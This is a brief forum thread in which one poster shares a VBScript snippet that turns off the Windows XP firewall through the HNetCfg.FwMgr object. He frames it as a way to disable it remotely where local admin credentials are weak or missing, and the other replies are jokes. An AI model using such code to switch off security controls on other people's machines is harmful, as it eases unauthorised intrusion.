[KoRn]

This will bring down an XP firewall remotely:

'

---

Start

Set objFirewall = CreateObject("HNetCfg.FwMgr")
Set objPolicy = objFirewall.LocalPolicy.CurrentProfile

objPolicy.FirewallEnabled = FALSE

'

---

End



Of course you have to know the local administrative credentials, which are all too often easy to guess, if there are any at all on a home Windows PC.

[observer5]

Please don't encourage any Windows PC users to switch to a secure and modern OS, such as OSX.

The natural law of survival of the fittest and extinction of the inept must be kept intact.

[ShadowAce]

Uh Oh. Now our RT will call you out on posting exploit code.... :)

[Señor Zorro]

This will bring down an XP firewall remotely:

Your code sample brings one thought to bear: Death to VB!